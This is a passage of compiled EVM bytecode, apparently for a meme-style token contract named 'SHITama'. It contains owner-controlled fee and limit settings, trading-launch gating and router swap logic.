b57600080fd5b506107c660048036038101906107c191906141ba565b6124f5565b005b3480156107d457600080fd5b506107ef60048036038101906107ea9190613ffc565b6125fd565b6040516107fc9190613e07565b60405180910390f35b34801561081157600080fd5b5061081a612658565b6040516108279190613e07565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b590614259565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6108da91906143db565b641010b872006108ea9190614426565b6108f49190614426565b6108fe91906144af565b6008819055508063ffffffff168263ffffffff166009600a61092091906143db565b641010b872006109309190614426565b61093a9190614426565b61094491906144af565b60098190555050505050565b60606040518060400160405280600781526020017f53484954616d6100000000000000000000000000000000000000000000000000815250905090565b600043600c541180156109ea5750600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156109fc576109fb3343600161266b565b5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610ada9190613e31565b60405180910390a36001905092915050565b60006009600a610afc91906143db565b641010b87200610b0c9190614426565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690614259565b60405180910390fd5b610ba847612795565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f90614259565b60405180910390fd5b43600c5411610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c739061452c565b60405180910390fd5b610c866000612933565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90614259565b60405180910390fd5b6103e8818385610d26919061454c565b610d30919061454c565b61ffff1614610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b906145d0565b60405180910390fd5b82600b60056101000a81548161ffff021916908361ffff16021790555081600b60076101000a81548161ffff021916908361ffff16021790555080600b60096101000a81548161ffff021916908361ffff160217905550505050565b6000610dda612963565b610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e109061463c565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610fc55781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f44919061465c565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fd08484846129e9565b90509392505050565b600b60039054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461107a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107190614259565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390614259565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60029054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90614259565b60405180910390fd5b600560009054906101000a900460ff16156112b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112af906146dc565b60405180910390fd5b600081116112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290614748565b60405180910390fd5b6001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600047905081811015611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff906147b4565b60405180910390fd5b6000611513306117cd565b905060008111611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90614820565b60405180910390fd5b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115eb9190614855565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611674573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116989190614855565b6040518363ffffffff1660e01b81526004016116b5929190614882565b6020604051808303816000875af11580156116d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f89190614855565b90506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117b3826130e4565b6117bf828560006132ce565b6117c76133ac565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189b90614259565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516119159190614078565b60405180910390a1565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a490614259565b60405180910390fd5b81600f60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60049054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b60606040518060400160405280600781526020017f53484954616d6100000000000000000000000000000000000000000000000000815250905090565b6000611bb5612963565b611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb9061463c565b60405180910390fd5b611bff3384846129e9565b905092915050565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9290614259565b60405180910390fd5b600060016103e88461ffff166009600a611cb591906143db565b641010b87200611cc59190614426565b611ccf9190614426565b611cd991906144af565b611ce391906148ab565b9050600654811015611d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d219061494d565b60405180910390fd5b80600681905550600060016103e88461ffff166009600a611d4b91906143db565b641010b87200611d5b9190614426565b611d659190614426565b611d6f91906144af565b611d7991906148ab565b9050600754811015611dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db7906149b9565b60405180910390fd5b8060078190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5290614259565b60405180910390fd5b6001601060146101000a81548160ff0219169083151502179055506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090614a25565b60405180910390fd5b6000611f04826117cd565b905060008111611f49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4090614820565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f94919061465c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202291906148ab565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120c29190613e31565b60405180910390a3600060016002836120db91906144af565b6120e5919061465c565b905060004790506120f5826134e6565b60008147612103919061465c565b905061210e836130e4565b61211a838260006132ce565b505050506000601060146101000a81548160ff02191690831515021790555050565b60095481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c790614259565b60405180910390fd5b60006121db306117cd565b905060008111612220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221790614a91565b60405180910390fd5b612229816134e6565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233890614259565b60405180910390fd5b600760ff168360ff161115801561235f5750600760ff168260ff1611155b80156123725750600760ff168160ff1611155b6123b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a890614afd565b60405180910390fd5b82600b60026101000a81548160ff021916908360ff16021790555081600b60036101000a81548160ff021916908360ff16021790555080600b60046101000a81548160ff021916908360ff160217905550505050565b600b60009054906101000a900461ffff1681565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a690614259565b60405180910390fd5b6000600b60026101000a81548160ff021916908360ff160217905550600760026124d99190614b1d565b600b60036101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257a90614259565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516125f29190614bb7565b60405180910390a150565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461264e5760019050612653565b600090505b919050565b600560009054906101000a900460ff1681565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561270457506000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156127905781600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561278f57600b600081819054906101000a900461ffff168092919061277390614bd2565b91906101000a81548161ffff021916908361ffff160217905550505b5b505050565b6000600b60099054906101000a900461ffff16600b60079054906101000a900461ffff166127c3919061454c565b90506000600b60079054906101000a900461ffff1661ffff16111561287a57600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60079054906101000a900461ffff1661ffff16856128439190614426565b61284d91906144af565b9081150290604051600060405180830381858888f19350505050158015612878573d6000803e3d6000fd5b505b6000600b60099054906101000a900461ffff1661ffff16111561292f57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60099054906101000a900461ffff1661ffff16856128f89190614426565b61290291906144af565b9081150290604051600060405180830381858888f1935050505015801561292d573d6000803e3d6000fd5b505b5050565b43600c54118061294557506000600c54145b15612960578060ff164361295991906148ab565b600c819055505b50565b60008060009050600560009054906101000a900460ff161561298857600190506129e2565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614156129e157600190505b5b8091505090565b600043600c541115612b24577f000000000000000000000000000000000000000000000000000000000000000063ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff1684612a4e9190614bfd565b73ffffffffffffffffffffffffffffffffffffffff161415612a7957612a746001612933565b612b1f565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612ad257612acd8343600161266b565b612b1e565b612b1d83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061266b565b5b5b612c36565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612bb757612bb683600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061266b565b5b600f60009054906101000a900460ff1660ff16600c54612bd791906148ab565b43108015612bf5575064174876e80048612bf191906148ab565b3a10155b15612c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2c90614c7a565b60405180910390fd5b5b600560009054906101000a900460ff168015612c9257506000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015612cdc575043600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15612d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1390614ce6565b60405180910390fd5b601060149054906101000a900460ff16158015612d825750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612d9057612d8f613705565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612df857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612e50575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612e9f57612e5f838361386b565b612e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9590614d52565b60405180910390fd5b5b6000612eac8585856139ab565b905060008184612ebc919061465c565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f09919061465c565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612fe45781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa091906148ab565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461302f91906148ab565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516130cf9190613e31565b60405180910390a36001925050509392505050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156132cb577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516132c29190613e31565b60405180910390a35b50565b6000816132f95760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161336096959493929190614dad565b60606040518083038185885af115801561337e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906133a39190614e23565b50505050505050565b6006436133b991906148ab565b600c819055506009600a6133cd91906143db565b6103e86009600a6133de91906143db565b641010b872006133ee9190614426565b60056133fa9190614426565b61340491906144af565b61340e91906148ab565b6006819055506009600a61342291906143db565b6103e86009600a61343391906143db565b641010b872006134439190614426565b600561344f9190614426565b61345991906144af565b61346391906148ab565b6007819055506007600b60026101000a81548160ff021916908360ff160217905550600760026134939190614b1d565b600b60036101000a81548160ff021916908360ff1602179055506007600b60046101000a81548160ff021916908360ff1602179055506001600560006101000a81548160ff021916908315150217905550565b6134ef816130e4565b6000600267ffffffffffffffff81111561350c5761350b614e76565b5b60405190808252806020026020018201604052801561353a5781602001602082028036833780820191505090505b509050308160008151811061355257613551614ea5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156135f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061361d9190614855565b8160018151811061363157613630614ea5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016136cf959493929190614f92565b600060405180830381600087803b1580156136e957600080fd5b505af11580156136fd573d6000803e3d6000fd5b505050505050565b6001601060146101000a81548160ff021916908315150217905550600061372b306117cd565b9050600854811015801561374b5750600560009054906101000a900460ff165b1561384d57600954811061375f5760095490505b600060026103e8600b60059054906101000a900461ffff1661ffff16846137869190614426565b61379091906144af565b61379a91906144af565b9050600081836137aa919061465c565b905060004790506137ba826134e6565b600081476137c8919061465c565b90506000600b60059054906101000a900461ffff1661ffff16111561382f5760006103e8600b60059054906101000a900461ffff1661ffff168361380c9190614426565b61381691906144af565b9050613821856130e4565b61382d858260006132ce565b505b600047905060008111156138475761384681612795565b5b50505050505b506000601060146101000a81548160ff021916908315150217905550565b60008060019050600560009054906101000a900460ff1680156138d85750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156139a1576006548311156138f057600090506139a0565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613995575060075483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461399391906148ab565b115b1561399f57600090505b5b5b8091505092915050565b600080600560009054906101000a900460ff161580613a135750600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80613a675750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613a755760009050613baa565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613af8576064600b60029054906101000a900460ff1660ff1684613ae79190614426565b613af191906144af565b9050613ba9565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b7b576064600b60039054906101000a900460ff1660ff1684613b6a9190614426565b613b7491906144af565b9050613ba8565b6064600b60049054906101000a900460ff1660ff1684613b9b9190614426565b613ba591906144af565b90505b5b5b809150509392505050565b600080fd5b600063ffffffff82169050919050565b613bd381613bba565b8114613bde57600080fd5b50565b600081359050613bf081613bca565b92915050565b60008060008060808587031215613c1057613c0f613bb5565b5b6000613c1e87828801613be1565b9450506020613c2f87828801613be1565b9350506040613c4087828801613be1565b9250506060613c5187828801613be1565b91505092959194509250565b600081519050919050565b600082825260208201905092915050565b60005b83811015613c97578082015181840152602081019050613c7c565b83811115613ca6576000848401525b50505050565b6000601f19601f8301169050919050565b6000613cc882613c5d565b613cd28185613c68565b9350613ce2818560208601613c79565b613ceb81613cac565b840191505092915050565b60006020820190508181036000830152613d108184613cbd565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613d4382613d18565b9050919050565b613d5381613d38565b8114613d5e57600080fd5b50565b600081359050613d7081613d4a565b92915050565b6000819050919050565b613d8981613d76565b8114613d9457600080fd5b50565b600081359050613da681613d80565b92915050565b60008060408385031215613dc357613dc2613bb5565b5b6000613dd185828601613d61565b9250506020613de285828601613d97565b9150509250929050565b60008115159050919050565b613e0181613dec565b82525050565b6000602082019050613e1c6000830184613df8565b92915050565b613e2b81613d76565b82525050565b6000602082019050613e466000830184613e22565b92915050565b600061ffff82169050919050565b613e6381613e4c565b8114613e6e57600080fd5b50565b600081359050613e8081613e5a565b92915050565b600080600060608486031215613e9f57613e9e613bb5565b5b6000613ead86828701613e71565b9350506020613ebe86828701613e71565b9250506040613ecf86828701613e71565b9150509250925092565b600080600060608486031215613ef257613ef1613bb5565b5b6000613f0086828701613d61565b9350506020613f1186828701613d61565b9250506040613f2286828701613d97565b9150509250925092565b600060ff82169050919050565b613f4281613f2c565b82525050565b6000602082019050613f5d6000830184613f39565b92915050565b613f6c81613dec565b8114613f7757600080fd5b50565b600081359050613f8981613f63565b92915050565b60008060408385031215613fa657613fa5613bb5565b5b6000613fb485828601613d61565b9250506020613fc585828601613f7a565b9150509250929050565b600060208284031215613fe557613fe4613bb5565b5b6000613ff384828501613d97565b91505092915050565b60006020828403121561401257614011613bb5565b5b600061402084828501613d61565b91505092915050565b600080604083850312156140405761403f613bb5565b5b600061404e85828601613d61565b925050602061405f85828601613d61565b9150509250929050565b61407281613d38565b82525050565b600060208201905061408d6000830184614069565b92915050565b600080604083850312156140aa576140a9613bb5565b5b60006140b885828601613e71565b92505060206140c985828601613e71565b9150509250929050565b6140dc81613f2c565b81146140e757600080fd5b50565b6000813590506140f9816140d3565b92915050565b60008060006060848603121561411857614117613bb5565b5b6000614126868287016140ea565b9350506020614137868287016140ea565b9250506040614148868287016140ea565b9150509250925092565b61415b81613e4c565b82525050565b60006020820190506141766000830184614152565b92915050565b600061418782613d18565b9050919050565b6141978161417c565b81146141a257600080fd5b50565b6000813590506141b48161418e565b92915050565b6000602082840312156141d0576141cf613bb5565b5b60006141de848285016141a5565b91505092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000614243602a83613c68565b915061424e826141e7565b604082019050919050565b6000602082019050818103600083015261427281614236565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156142ff578086048111156142db576142da614279565b5b60018516156142ea5780820291505b80810290506142f8856142a8565b94506142bf565b94509492505050565b60008261431857600190506143d4565b8161432657600090506143d4565b816001811461433c576002811461434657614375565b60019150506143d4565b60ff84111561435857614357614279565b5b8360020a91508482111561436f5761436e614279565b5b506143d4565b5060208310610133831016604e8410600b84101617156143aa5782820a9050838111156143a5576143a4614279565b5b6143d4565b6143b784848460016142b5565b925090508184048111156143ce576143cd614279565b5b81810290505b9392505050565b60006143e682613d76565b91506143f183613f2c565b925061441e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614308565b905092915050565b600061443182613d76565b915061443c83613d76565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561447557614474614279565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144ba82613d76565b91506144c583613d76565b9250826144d5576144d4614480565b5b828204905092915050565b7f616c72656164792068756d616e697a6564000000000000000000000000000000600082015250565b6000614516601183613c68565b9150614521826144e0565b602082019050919050565b6000602082019050818103600083015261454581614509565b9050919050565b600061455782613e4c565b915061456283613e4c565b92508261ffff0382111561457957614578614279565b5b828201905092915050565b7f53756d206d757374206265203130303000000000000000000000000000000000600082015250565b60006145ba601083613c68565b91506145c582614584565b602082019050919050565b600060208201905081810360008301526145e9816145ad565b9050919050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000614626601083613c68565b9150614631826145f0565b602082019050919050565b6000602082019050818103600083015261465581614619565b9050919050565b600061466782613d76565b915061467283613d76565b92508282101561468557614684614279565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b60006146c6601483613c68565b91506146d182614690565b602082019050919050565b600060208201905081810360008301526146f5816146b9565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b6000614732600f83613c68565b915061473d826146fc565b602082019050919050565b6000602082019050818103600083015261476181614725565b9050919050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b600061479e600e83613c68565b91506147a982614768565b602082019050919050565b600060208201905081810360008301526147cd81614791565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b600061480a600983613c68565b9150614815826147d4565b602082019050919050565b60006020820190508181036000830152614839816147fd565b9050919050565b60008151905061484f81613d4a565b92915050565b60006020828403121561486b5761486a613bb5565b5b600061487984828501614840565b91505092915050565b60006040820190506148976000830185614069565b6148a46020830184614069565b9392505050565b60006148b682613d76565b91506148